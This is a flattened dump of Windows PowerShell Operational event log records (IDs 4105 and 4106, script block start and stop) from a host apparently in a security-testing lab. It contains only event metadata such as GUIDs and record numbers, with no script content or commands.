410615103150x0676671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 